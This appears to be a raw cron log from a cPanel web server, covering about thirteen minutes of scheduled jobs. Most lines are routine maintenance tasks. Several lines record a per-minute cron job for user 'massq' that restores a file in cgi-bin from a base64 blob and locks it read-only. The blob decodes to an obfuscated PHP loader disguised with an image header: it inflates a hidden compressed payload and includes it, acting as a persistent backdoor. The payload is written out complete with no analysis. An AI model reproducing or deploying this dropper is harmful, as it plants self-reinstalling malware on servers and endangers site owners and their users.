Sep  7 18:17:01 server CROND[10673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:17:01 server CROND[10674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:18:01 server CROND[11250]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:18:01 server CROND[11251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:18:01 server CROND[11252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:19:01 server CROND[11652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:19:01 server CROND[11653]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:19:01 server CROND[11654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:20:01 server CROND[12034]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 18:20:01 server CROND[12036]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 18:20:01 server CROND[12038]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 18:20:01 server CROND[12041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:20:01 server CROND[12043]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:20:01 server CROND[12044]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 18:20:01 server CROND[12045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:20:01 server CROND[12048]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:20:01 server CROND[12046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:21:01 server CROND[12881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:21:01 server CROND[12882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:21:01 server CROND[12883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:22:01 server CROND[13256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:22:01 server CROND[13257]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:22:01 server CROND[13258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:23:01 server CROND[13625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:23:01 server CROND[13626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:23:01 server CROND[13627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:24:01 server CROND[14101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:24:01 server CROND[14102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:24:01 server CROND[14103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:25:01 server CROND[14495]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 18:25:01 server CROND[14496]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 18:25:01 server CROND[14500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:25:01 server CROND[14504]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  7 18:25:01 server CROND[14502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:25:01 server CROND[14507]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 18:25:01 server CROND[14503]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 18:25:01 server CROND[14505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:26:01 server CROND[15333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:26:01 server CROND[15334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:26:01 server CROND[15335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:27:01 server CROND[15706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:27:01 server CROND[15707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:27:01 server CROND[15708]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 18:27:01 server CROND[15709]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:28:01 server CROND[16080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:28:01 server CROND[16081]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:28:01 server CROND[16082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:29:01 server CROND[16558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 18:29:01 server CROND[16559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 18:29:01 server CROND[16560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 18:30:01 server CROND[16932]: (root) CMD (/usr/lib64/sa/sa1 1 1)
